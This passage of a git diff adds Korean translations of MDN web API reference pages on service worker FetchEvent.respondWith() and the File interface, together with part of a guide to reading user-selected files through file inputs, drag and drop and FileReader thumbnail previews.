+    // Try to get the response from a cache.
+    const cache = await caches.open('dynamic-v1');
+    const cachedResponse = await cache.match(event.request);
+
+    if (cachedResponse) {
+      // If we found a match in the cache, return it, but also
+      // update the entry in the cache in the background.
+      event.waitUntil(cache.add(event.request));
+      return cachedResponse;
+    }
+
+    // If we didn't find a match in the cache, use the network.
+    return fetch(event.request);
+  }());
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#fetch-event-section', 'FetchEvent')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.FetchEvent")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ko/web/api/fetchevent/respondwith/index.html b/files/ko/web/api/fetchevent/respondwith/index.html
new file mode 100644
index 0000000000..1e348c699c
--- /dev/null
+++ b/files/ko/web/api/fetchevent/respondwith/index.html
@@ -0,0 +1,115 @@
+---
+title: FetchEvent.respondWith()
+slug: Web/API/FetchEvent/respondWith
+translation_of: Web/API/FetchEvent/respondWith
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">{{domxref("FetchEvent")}}의 <strong><code>respondWith()</code></strong> 메소드는 브라우저의 기본 fetch 핸들링을 막고, 당신 스스로 {{domxref("Response")}}에 대한 promise를 제공할 수 있게 허락합니다.</span></p>
+
+<p>대부분의 상황에서 당신은 수신자가 이해하는 어떠한 응답이라도 제공할 수 있습니다. 예를 들어, {{HTMLElement('img')}} 엘리먼트가 해당 요청을 시작했다면, 응답 객체는 이미지 데이터를 필요로 합니다. 보안적인 이유들로, 여기엔 몇가지 전역 규칙이 존재합니다.</p>
+
+<ul>
+ <li>You can only return {{domxref("Response")}} objects of {{domxref("Response.type", "type")}} "<code>opaque</code>" if the {{domxref("fetchEvent.request")}} object's {{domxref("request.mode", "mode")}} is "<code>no-cors</code>".  This prevents the leaking of private data.</li>
+ <li>You can only return {{domxref("Response")}} objects of {{domxref("Response.type", "type")}} "<code>opaqueredirect</code>" if the {{domxref("fetchEvent.request")}} object's {{domxref("request.mode", "mode")}} is "<code>manual</code>".</li>
+ <li>You cannot return {{domxref("Response")}} objects of {{domxref("Response.type", "type")}} "<code>cors</code>" if the {{domxref("fetchEvent.request")}} object's {{domxref("request.mode", "mode")}} is "<code>same-origin</code>".</li>
+</ul>
+
+<h3 id="Specifying_the_final_URL_of_a_resource">Specifying the final URL of a resource</h3>
+
+<p>From Firefox 59 onwards, when a service worker provides a {{domxref("Response")}} to {{domxref("FetchEvent.respondWith()")}}, the {{domxref("Response.url")}} value will be propagated to the intercepted network request as the final resolved URL.  If the {{domxref("Response.url")}} value is the empty string, then the {{domxref("Request.url","FetchEvent.request.url")}} is used as the final URL.</p>
+
+<p>In the past the {{domxref("Request.url","FetchEvent.request.url")}} was used as the final URL in all cases.  The provided {{domxref("Response.url")}} was effectively ignored.</p>
+
+<p>This means, for example, if a service worker intercepts a stylesheet or worker script, then the provided {{domxref("Response.url")}} will be used to resolve any relative {{cssxref("@import")}} or {{domxref("WorkerGlobalScope.importScripts()","importScripts()")}} subresource loads ({{bug(1222008)}}).</p>
+
+<p>For most types of network request this change has no impact because you can't observe the final URL.  There are a few, though, where it does matter:</p>
+
+<ul>
+ <li>If a {{domxref("WindowOrWorkerGlobalScope.fetch()", "fetch()")}} is intercepted, then you can observe the final URL on the result's {{domxref("Response.url")}}.</li>
+ <li>If a <a href="/en-US/docs/Web/API/Web_Workers_API">worker</a> script is intercepted, then the final URL is used to set <code><a href="/en-US/docs/Web/API/WorkerGlobalScope/location">self.location</a></code> and used as the base URL for relative URLs in the worker script.</li>
+ <li>If a stylesheet is intercepted, then the final URL is used as the base URL for resolving relative {{cssxref("@import")}} loads.</li>
+</ul>
+
+<p>Note that navigation requests for {{domxref("Window","Windows")}} and {{domxref("HTMLIFrameElement","iframes")}} do NOT use the final URL.  The way the HTML specification handles redirects for navigations ends up using the request URL for the resulting {{domxref("Window.location")}}.  This means sites can still provide an "alternate" view of a web page when offline without changing the user-visible URL.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">fetchEvent.respondWith(
+  // Promise that resolves to a Response.
+​)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>A {{jsxref("Promise")}} for a {{domxref("Response")}}.</p>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Void.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Notes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>NetworkError</code></td>
+   <td>A network error is triggered on certain combinations of {{domxref("Request.mode","FetchEvent.request.mode")}} and {{domxref("Response.type")}}  values, as hinted at in the "global rules" listed above.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This fetch event tries to return a response from the cache API, falling back to the network otherwise.</p>
+
+<pre class="brush: js">addEventListener('fetch', event =&gt; {
+  // Prevent the default, and handle the request ourselves.
+  event.respondWith(async function() {
+    // Try to get the response from a cache.
+    const cachedResponse = await caches.match(event.request);
+    // Return it if we found one.
+    if (cachedResponse) return cachedResponse;
+    // If we didn't find a match in the cache, use the network.
+    return fetch(event.request);
+  }());
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#fetch-event-respondwith-method', 'respondWith()')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.FetchEvent.respondWith")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ko/web/api/file/file/index.html b/files/ko/web/api/file/file/index.html
new file mode 100644
index 0000000000..4445ced75f
--- /dev/null
+++ b/files/ko/web/api/file/file/index.html
@@ -0,0 +1,72 @@
+---
+title: File.File()
+slug: Web/API/File/File
+tags:
+  - API
+  - Constructor
+  - File
+  - Reference
+  - 파일
+translation_of: Web/API/File/File
+---
+<div>{{APIRef("File")}}</div>
+
+<p><code><strong>File()</strong></code> 생성자는 {{domxref("File")}} 객체의 새로운 인스턴스를 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new File(<em>bits</em>, <em>name</em>[, <em>options</em>]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>bits</code></dt>
+ <dd>{{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, 또는 {{domxref("DOMString")}} 객체로 이루어진 {{jsxref("Array")}}. UTF-8로 인코딩한 파일 내용입니다.</dd>
+ <dt><code>name</code></dt>
+ <dd>파일명이나 파일의 경로를 나타내는 {{domxref("USVString")}}.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>파일의 추가 속성을 담은 옵션 객체. 가능한 옵션은 다음과 같습니다.
+ <ul>
+  <li><code>type</code>: 파일 내용의 MIME 유형을 나타내는 {{domxref("DOMString")}}. 기본값은 빈 문자열입니다.</li>
+  <li><code>lastModified</code>: 유닉스 시간(1970-01-01T00:00:00Z)과 파일이 마지막으로 변경된 시각의 밀리초 차이. 기본값은 {{jsxref("Date.now()")}}의 값입니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var file = new File(["foo"], "foo.txt", {
+  type: "text/plain",
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File API')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.File.File")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/ko/web/api/file/index.html b/files/ko/web/api/file/index.html
new file mode 100644
index 0000000000..b94140e633
--- /dev/null
+++ b/files/ko/web/api/file/index.html
@@ -0,0 +1,99 @@
+---
+title: File
+slug: Web/API/File
+tags:
+  - API
+  - File API
+  - Interface
+  - Reference
+  - Web
+  - 파일
+translation_of: Web/API/File
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>File</code></strong> 인터페이스는 파일에 대한 정보를 제공하고, 웹 페이지의 JavaScript가 해당 내용에 접근할 수 있는 방법을 제공합니다.</p>
+
+<p><code>File</code> 객체는 보통 {{domxref("FileList")}} 객체에서 가져올 수 있습니다. 그리고 <code>FileList</code> 객체는 사용자가 {{HTMLElement("input")}} 요소에서 파일을 선택했을 때, 드래그 앤 드롭 작업의 {{domxref("DataTransfer")}} 객체에서, 그리고 {{domxref("HTMLCanvasElement")}}의 <code>mozGetAsFile()</code> API에서 반환합니다.</p>
+
+<p><code>File</code> 객체는 특정 종류의 {{domxref("Blob")}}이며, <code>Blob</code>을 사용할 수 있는 모든 맥락에서 사용할 수 있습니다. 특히 {{domxref("FileReader")}}, {{domxref("URL.createObjectURL()")}}, {{domxref("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, {{domxref("XMLHttpRequest", "", "send()")}}는 <code>Blob</code>과 <code>File</code>을 모두 허용합니다.</p>
+
+<p>자세한 정보 및 예제는 <a href="/ko/docs/Web/API/File/Using_files_from_web_applications">웹 애플리케이션에서 파일 사용하기</a>를 참고하세요.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("File.File", "File()")}}</dt>
+ <dd>새로 생성한 <code>File</code>을 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("File.lastModified")}} {{readonlyinline}}</dt>
+ <dd>파일의 최종 수정 시간을 UNIX 시간(1970년 1월 1일 자정)과의 밀리초 차이로 반환합니다.</dd>
+ <dt>{{domxref("File.lastModifiedDate")}} {{readonlyinline}} {{deprecated_inline}}</dt>
+ <dd><code>File</code> 객체가 참조하는 파일의 마지막 수정 시간을 {{jsxref("Date")}}로 반환합니다.</dd>
+ <dt>{{domxref("File.name")}} {{readonlyinline}}</dt>
+ <dd><code>File</code> 객체가 참조하는 파일의 이름을 반환합니다.</dd>
+ <dt>{{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>{{domxref("File")}}의 URL 상대경로를 반환합니다.</dd>
+</dl>
+
+<p><code>File</code>이 {{domxref("Blob")}} 을 구현하기 때문에 사용할 수 있는 속성도 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("File.size")}} {{readonlyinline}}</dt>
+ <dd><code>File</code>의 크기를 바이트 단위로 반환합니다.</dd>
+ <dt>{{domxref("File.type")}} {{readonlyinline}}</dt>
+ <dd><code>File</code>의 <a href="/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 유형</a>을 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em><code>File</code> 인터페이스는 메서드를 정의하지 않지만, {{domxref("Blob")}} 인터페이스에서 메서드를 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Blob.slice()")}}</dt>
+ <dd>소스 <code>Blob</code>에서 지정한 바이트 범위 만큼의 데이터를 포함하는, 새로운 <code>Blob</code> 객체를 반환합니다.</dd>
+ <dt>{{domxref("Blob.stream()")}}</dt>
+ <dd><code>File</code>을 {{domxref("ReadableStream")}}으로 변환합니다. <code>ReadableStream</code>은 파일 내용을 읽을 때 사용할 수 있습니다.</dd>
+ <dt>{{domxref("Blob.text()")}}</dt>
+ <dd><code>File</code>을 스트림으로 변환한 후 끝까지 읽습니다. {{domxref("USVString")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("Blob.arrayBuffer()")}}</dt>
+ <dd><code>File</code>을 스트림으로 변환한 후 끝까지 읽습니다. {{domxref("ArrayBuffer")}}로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File API', "#file-section", "The <code>File</code> interface")}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.File")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/File/Using_files_from_web_applications">웹 애플리케이션에서 파일 사용하기</a></li>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ko/web/api/file/name/index.html b/files/ko/web/api/file/name/index.html
new file mode 100644
index 0000000000..0aa67a8374
--- /dev/null
+++ b/files/ko/web/api/file/name/index.html
@@ -0,0 +1,66 @@
+---
+title: File.name
+slug: Web/API/File/name
+tags:
+  - API
+  - File API
+  - Property
+  - Reference
+  - 파일
+translation_of: Web/API/File/name
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><strong><code>name</code></strong> 속성은 {{domxref("File")}} 객체가 나타내는 파일의 이름을 반환합니다. 보안상의 이유로 경로는 이름에서 제외됩니다.</p>
+
+<h2 id="값">값</h2>
+
+<p><code>"My Resume.rtf"</code>와 같이 경로가 없는 파일의 이름을 포함하는 문자열입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;input type="file" multiple onchange="processSelectedFiles(this)"&gt;
+</pre>
+
+<pre class="brush: js">function processSelectedFiles(fileInput) {
+  var files = fileInput.files;
+
+  for (var i = 0; i &lt; files.length; i++) {
+    alert("Filename " + files[i].name);
+  }
+}</pre>
+
+<p>아래에서 결과를 확인해보세요.</p>
+
+<p>{{ EmbedLiveSample('예제', 300, 50) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#file-attrs', 'name')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.File.name")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/File/Using_files_from_web_applications">웹 어플리케이션에서 파일 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/file/size/index.html b/files/ko/web/api/file/size/index.html
new file mode 100644
index 0000000000..eb133e801f
--- /dev/null
+++ b/files/ko/web/api/file/size/index.html
@@ -0,0 +1,30 @@
+---
+title: File.size
+slug: Web/API/File/size
+translation_of: Web/API/File/size
+---
+<p>{{APIRef("File API") }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>파일의 크기를 바이트 단위로 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre>var size = <em>instanceOfFile</em>.size</pre>
+
+<h2 id="Value">Value</h2>
+
+<p>숫자</p>
+
+<h2 id="Specification">Specification</h2>
+
+<p>사양에 포함되지 않았습니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Blob.size")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/api/file/using_files_from_web_applications/index.html b/files/ko/web/api/file/using_files_from_web_applications/index.html
new file mode 100644
index 0000000000..7c4a27357d
--- /dev/null
+++ b/files/ko/web/api/file/using_files_from_web_applications/index.html
@@ -0,0 +1,496 @@
+---
+title: 웹 어플리케이션에서 파일 사용하기
+slug: Web/API/File/Using_files_from_web_applications
+translation_of: Web/API/File/Using_files_from_web_applications
+---
+<p>{{APIRef("File API")}}</p>
+
+<p>HTML5의 DOM으로 추가된 File API를 사용하여, 이제 웹 컨텐츠가 사용자에게 로컬 파일을 선택한 후 파일의 컨텐츠를 읽도록 요청할 수 있습니다. 이 선택은 HTML {{HTMLElement("input")}} 엘리먼트나 드래그 앤 드랍을 사용하는 것으로도 수행할 수 있습니다.</p>
+
+<p>원하신다면 확장 기능이나 다른 브라우저 크롬 코드에서도 DOM File API를 사용하실 수 있습니다. 하지만, 조심해야할 몇 가지 부가적인 기능들이 있음을 유의하세요. 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">크롬 코드에서 DOM File API 사용하기</a> 글을 확인하세요.</p>
+
+<h2 id="선택한_파일에_접근하기">선택한 파일에 접근하기</h2>
+
+<p>다음 HTML을 생각해봅시다.</p>
+
+<pre class="brush: html">&lt;input type="file" id="input"&gt;</pre>
+
+<p>File API는 사용자에 의해 선택된 파일을 나타내는 객체인 {{DOMxRef("File")}}을 포함하는 {{DOMxRef("FileList")}}에 접근할 수 있게 해줍니다.</p>
+
+<p>사용자가 하나의 파일만을 선택한 경우, 리스트의 첫 번째 파일만 고려하면 됩니다.</p>
+
+<p>기존의 DOM 셀렉터를 사용하여 선택된 하나의 파일에 접근하기:</p>
+
+<pre class="brush: js">const selectedFile = document.getElementById('input').files[0];</pre>
+
+<h3 id="change_이벤트에서_선택한_파일에_접근하기">change 이벤트에서 선택한 파일에 접근하기</h3>
+
+<p><code>change</code> 이벤트를 통해 {{DOMxRef("FileList")}}에 접근할수도 있습니다(필수는 아닙니다).</p>
+
+<pre class="brush: html">&lt;input type="file" id="input" onchange="handleFiles(this.files)"&gt;</pre>
+
+<p>사용자가 하나의 파일을 선택할 때, 사용자에 의해 선택된 파일을 나타내는 객체인 {{DOMxRef("File")}}을 포함하는 {{DOMxRef("FileList")}}와 함께 <code>handlerFiles()</code> 함수가 호출됩니다.</p>
+
+<p>사용자가 여러 파일을 선택할 수 있도록 하길 원할 경우, 간단히 <code>input</code> 엘리먼트에서 <code>multiple</code> 속성을 사용하면됩니다.</p>
+
+<pre class="brush: html">&lt;input type="file" id="input" multiple onchange="handleFiles(this.files)"&gt;</pre>
+
+<p>이 경우, <code>handleFiles()</code> 함수로 전달된 파일 리스트는 사용자가 선택한 각 파일에 대해 하나의 {{DOMxRef("File")}} 객체를 갖습니다.</p>
+
+<h3 id="동적으로_change_리스너_추가하기">동적으로 change 리스너 추가하기</h3>
+
+<p><code>change</code> 이벤트 리스너를 추가하려면 {{DOMxRef("EventTarget.addEventListener()")}}를 다음과 같이 사용해야합니다.</p>
+
+<pre class="brush: js">const inputElement = document.getElementById("input");
+inputElement.addEventListener("change", handleFiles, false);
+function handleFiles() {
+  const fileList = this.files; /* 이제 파일 리스트로 작업할 수 있습니다 */
+}</pre>
+
+<p>이 경우에는, 파라미터를 전달한 이벤트 핸들러에의해 호출된 이전 예제에서와 달리, <code>handleFiles()</code> 함수 자체가 이벤트 핸들러임을 유의하세요.</p>
+
+<h2 id="선택한_파일에_대한_정보_얻기">선택한 파일에 대한 정보 얻기</h2>
+
+<p>DOM에 의해 제공된 {{DOMxRef("FileList")}} 객체는 사용자에 의해 선택된 모든 파일을 각각 {{DOMxRef("File")}} 객체로 지정하여 나열합니다. 파일 리스트의 <code>length</code> 속성의 값을 확인하여 사용자가 선택한 파일의 수를 결정할 수 있습니다.</p>
+
+<pre class="brush: js">const numFiles = files.length;</pre>
+
+<p>개별 {{DOMxRef("File")}} 객체는 리스트를 간단히 배열처럼 접근하여 얻을 수 있습니다.</p>
+
+<pre class="brush: js">for (let i = 0, numFiles = files.length; i &lt; numFiles; i++) {
+  const file = files[i];
+  ..
+}
+</pre>
+
+<p>위 반복문은 파일 리스트의 모든 파일을 순회합니다.</p>
+
+<p>파일에 대한 유용한 정보를 포함하는 {{DOMxRef("File")}} 객체는 세 가지 속성을 제공합니다.</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>읽기 전용 문자열인 파일의 이름입니다. 단순한 파일 이름이며, 경로에 대한 정보는 포함하지 않습니다.</dd>
+ <dt><code>size</code></dt>
+ <dd>읽기 전용 64비트 정수의 바이트 단위 파일의 크기입니다.</dd>
+ <dt><code>type</code></dt>
+ <dd>읽기 전용 문자열인 파일의 MIME 타입입니다. 결정할 수 없는 타입인 경우 <code>""</code>입니다.</dd>
+</dl>
+
+<h3 id="예시_파일_크기_보기">예시: 파일 크기 보기</h3>
+
+<p>다음 예시는 <code>size</code> 프로퍼티를 사용하는 방법을 보여줍니다.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"&gt;
+&lt;title&gt;File(s) size&lt;/title&gt;
+&lt;script&gt;
+function updateSize() {
+  let nBytes = 0,
+      oFiles = document.getElementById("uploadInput").files,
+      nFiles = oFiles.length;
+  for (let nFileId = 0; nFileId &lt; nFiles; nFileId++) {
+    nBytes += oFiles[nFileId].size;
+  }
+  let sOutput = nBytes + " bytes";
+  // multiples approximation을 위한 선택적 코드
+  for (let aMultiples = ["KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB"], nMultiple = 0, nApprox = nBytes / 1024; nApprox &gt; 1; nApprox /= 1024, nMultiple++) {
+    sOutput = nApprox.toFixed(3) + " " + aMultiples[nMultiple] + " (" + nBytes + " bytes)";
+  }
+  // 선택적 코드의 끝
+  document.getElementById("fileNum").innerHTML = nFiles;
+  document.getElementById("fileSize").innerHTML = sOutput;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="updateSize();"&gt;
+&lt;form name="uploadForm"&gt;
+&lt;p&gt;&lt;input id="uploadInput" type="file" name="myFiles" onchange="updateSize();" multiple&gt; selected files: &lt;span id="fileNum"&gt;0&lt;/span&gt;; total size: &lt;span id="fileSize"&gt;0&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;input type="submit" value="Send file"&gt;&lt;/p&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="click()_메소드를_사용하여_숨겨진_파일_input_엘리먼트_사용하기">click() 메소드를 사용하여 숨겨진 파일 input 엘리먼트 사용하기</h2>
+
+<p>Gecko 2.0 {{geckoRelease("2.0")}}의 시작과 함께, 확실히 세련되지 않은 파일 {{HTMLElement("input")}} 엘리먼트를 숨기고 파일 선택기를 열고 사용자에 의해 선택된 파일 또는 파일들을 보여주는 여러분만의 인터페이스를 제공할 수 있습니다. input 엘리먼트를 <code>display:none</code> 으로 스타일링하고 {{HTMLElement("input")}} 엘리먼트에 {{DOMxRef("element.click","click()")}} 메소드를 호출하는 것으로 이를 수행할 수 있습니다.</p>
+
+<p>다음 HTML을 생각해봅시다.</p>
+
+<pre class="brush: html">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;button id="fileSelect"&gt;Select some files&lt;/button&gt;</pre>
+
+<p><code>click</code> 이벤트를 다루는 코드는 다음과 같을 것입니다.</p>
+
+<pre class="brush: js">const fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+}, false);
+</pre>
+
+<p>여러분이 원하는 파일 선택기를 열기위한 새로운 버튼을 스타일링할 수 있습니다.</p>
+
+<h2 id="label_엘리먼트를_사용하여_숨겨진_파일_input_엘리먼트_실행하기">label 엘리먼트를 사용하여 숨겨진 파일 input 엘리먼트 실행하기</h2>
+
+<p>JavaScript(click() 메소드)를 사용하지 않고 파일 선택기를 열도록 허용하기 위해 {{HTMLElement("label")}} 엘리먼트가 사용될 수 있습니다. 이 경우에는 input 엘리먼트가 반드시 <code>display: none</code>(또는 <code>visibility: hidden</code>)을 사용하여 숨긴상태가 아니어야하며, 그렇지 않을 경우 라벨은 키보드로 접근이 불가하다는 것을 유의하세요. 대신 <a href="https://a11yproject.com/posts/how-to-hide-content/">외관상으로 숨기기 테크닉</a>을 사용하세요.</p>
+
+<p>다음 HTML과</p>
+
+<pre class="brush: html">&lt;input type="file" id="fileElem" multiple accept="image/*" class="visually-hidden"&gt;
+&lt;label for="fileElem"&gt;Select some files&lt;/label&gt;</pre>
+
+<p>CSS를 생각해봅시다.</p>
+
+<pre class="brush: css">.visually-hidden {
+  position: absolute !important;
+  height: 1px;
+  width: 1px;
+  overflow: hidden;
+  clip: rect(1px, 1px, 1px, 1px);
+}
+
+input.visually-hidden:focus + label {
+  outline: thin dotted;
+}
+</pre>
+
+<p><code>fileElem.click()</code>을 호출하기위해 JavaScript 코드를 추가할 필요가 없습니다. 또한 이 경우에는 여러분이 원하는대로 label 엘리먼트를 스타일링 할 수 있습니다. 여러분은 숨겨진 input 필드의 포커싱 상태를 시각적인 신호(위에서 보여진 outline이나, background-color 또는 box-shadow)로 label에 제공해야합니다. (이 글의 작성 시점에서, Firefox는 <code>&lt;input type="file"&gt;</code> 엘리먼트에 대한 시각적 신호를 보여주지 않습니다.)</p>
+
+<h2 id="드래그_앤_드랍을_사용하여_파일_선택하기">드래그 앤 드랍을 사용하여 파일 선택하기</h2>
+
+<p>사용자가 파일을 웹 어플리케이션으로 드래그 앤 드랍하도록 할 수도 있습니다.</p>
+
+<p>첫 단계는 드랍 영역을 설정하는 것입니다. 드랍을 허용할 컨텐츠의 정확한 영역은 어플리케이션의 디자인에따라 아주 달라질 수 있지만, 드랍 이벤트를 받는 엘리먼트를 만드는 것은 간단합니다.</p>
+
+<pre class="brush: js">let dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+</pre>
+
+<p>이 예시에서는, <code>dropbox</code>라는 ID를 갖는 엘리먼트를 드랍 영역으로 변경합니다. {{event('dragenter')}}, {{event('dragover')}}, {{event('drop')}} 이벤트를위한 리스너를 추가하는 것으로 이를 수행할 수 있습니다.</p>
+
+<p>우리의 경우에는, <code>dragenter</code>와 <code>dragover</code> 이벤트로 무언가를 진짜 할 필요는 없으므로, 두 함수는 모두 단순합니다. 두 함수는 단지 이벤트의 전파를 중단하고 기본 동작이 발생하는 것을 방지합니다.</p>
+
+<pre class="brush: js">function dragenter(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+function dragover(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+</pre>
+
+<p>진짜 마법은 <code>drop()</code> 함수에서 발생합니다.</p>
+
+<pre class="brush: js">function drop(e) {
+  e.stopPropagation();
+  e.preventDefault();
+
+  const dt = e.dataTransfer;
+  const files = dt.files;
+
+  handleFiles(files);
+}
+</pre>
+
+<p>여기에서, 우리는 이벤트로부터 <code>dataTransfer</code> 필드를 추출하고, 그로부터 파일 리스트를 가져온 후, <code>handleFiles()</code>로 전달합니다. 이 지점부터, 파일을 다루는 것은 사용자가 <code>input</code> 엘리먼트를 사용했든 드래그 앤 드랍을 사용했든 동일합니다.</p>
+
+<h2 id="예시_사용자가_선택한_이미지의_섬네일_보여주기">예시: 사용자가 선택한 이미지의 섬네일 보여주기</h2>
+
+<p>여러분이 차세대 사진 공유 웹사이트를 개발중이며 HTML5를 사용하여 사진이 실제로 업로드되기 전에 이미지의 섬네일 미리보기를 표시하길 원한다고 가정해봅시다. 여러분은 앞서 설명한대로 input 엘리먼트나 드랍 영역을 설정하고 아래와 같은 <code>handleFiles()</code> 함수를 호출하면됩니다.</p>
+
+<pre class="brush: js">function handleFiles(files) {
+  for (let i = 0; i &lt; files.length; i++) {
+    const file = files[i];
+
+    if (!file.type.startsWith('image/')){ continue }
+
+    const img = document.createElement("img");
+    img.classList.add("obj");
+    img.file = file;
+    preview.appendChild(img); // "preview"가 결과를 보여줄 div 출력이라 가정.
+
+    const reader = new FileReader();
+    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.readAsDataURL(file);
+  }
+}
+</pre>
+
